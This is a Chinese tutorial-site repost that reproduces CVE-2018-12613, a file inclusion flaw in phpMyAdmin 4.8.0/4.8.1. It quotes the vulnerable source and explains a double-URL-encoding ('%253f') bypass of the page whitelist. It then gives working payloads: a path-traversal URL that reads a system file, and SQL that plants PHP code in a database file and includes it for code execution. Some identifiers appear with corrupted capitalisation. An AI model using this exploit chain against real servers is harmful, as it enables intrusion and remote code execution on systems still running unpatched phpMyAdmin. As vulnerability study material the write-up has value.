大佬教程收集整理的这篇文章主要介绍了CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在@L_70_0@myAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
攻击者必须经过身份验证,但在这些情况下除外:
影响:@L_70_0@myAdmin-4.8.0/4.8.1
// 如果有一个有效的目标,加载这个脚本
if (! empty($_requEST['target'])
//是否存在target参数
&& is_String($_requEST['target'])
//target是否为字符串
&& ! preg_match('/^index/', $_requEST['target'])
//限制要求target以index开头
&& ! in_array($_requEST['target'], $targeT_Blacklist)
//限制target不能出现在$targeT_Blacklist中
/*
$targeT_Blacklist = array(
'import.PHP' , 'export.PHP'
)
// target != 'import.PHP' != 'export.PHP'
*/
&& Core::checkPageValidity($_requEST['target'])
// Core类的checkPageValidity()方法
) {
include $_requEST['target'];
exit;
}
第61行include $_requEST['target']
暴露了存在LFI的可能。
需要的是绕过限制:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
// 白名单
//$whitelist在函数被调用的时候,没有值引用$goto_whitelist的内容(上图)
$whitelist = self::$goto_whitelist;
}
if (! isset($pagE) || !is_String($pagE)) {
//$page没有定义或$page不为字符串时 返回false
return false;
}
if (in_array($page, $whitelist)) { // in_array():搜索数组中是否存在指定的值
//$page存在$whitelist中的value返回true
return true;
}
$_page = mb_substr( //mb_substr():返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')
//返回从开始到问号之间的字符串
);
if (in_array($_page, $whitelist)) {
//$_page存在$whitelist中的value返回true
return true;
}
$_page = urldecode($pagE);//urldecode():解码已编码的URL
//经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
$_page = mb_substr(//返回从开始到问号之间的字符串
$_page,
0,
mb_strpos($_page . '?', '?')
//mb_strpos():查找在字符串中第一次出现的位置(大小写敏感)
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
465~473代码的目的:二次URL解码
利用二次编码“%253f”可以绕过checkPageValidity()的检查!
由于二次解码只是在checkPageValidity()中执行的,在index.PHP中只做过一次解码:?target=db_dataDict.PHP%3f
由此就造成了文件包含漏洞
?target=db_sql.PHP%253f/../../../../../../windows/wininit.ini
show global variables like "%datadir%";
CREATE DATABASE rce;
use rce;
create table rce(code varchar(100));
INSERT INTO rce(codE) VALUES("<?PHP PHPinfo(); ?>");
?target=db_dataDict.PHP%253f/../../../../../../../../../PHPstudy/PHPTutorial/MysqL/data/rce/rce.MYD
以上是大佬教程为你收集整理的CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现全部内容,希望文章能够帮你解决CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。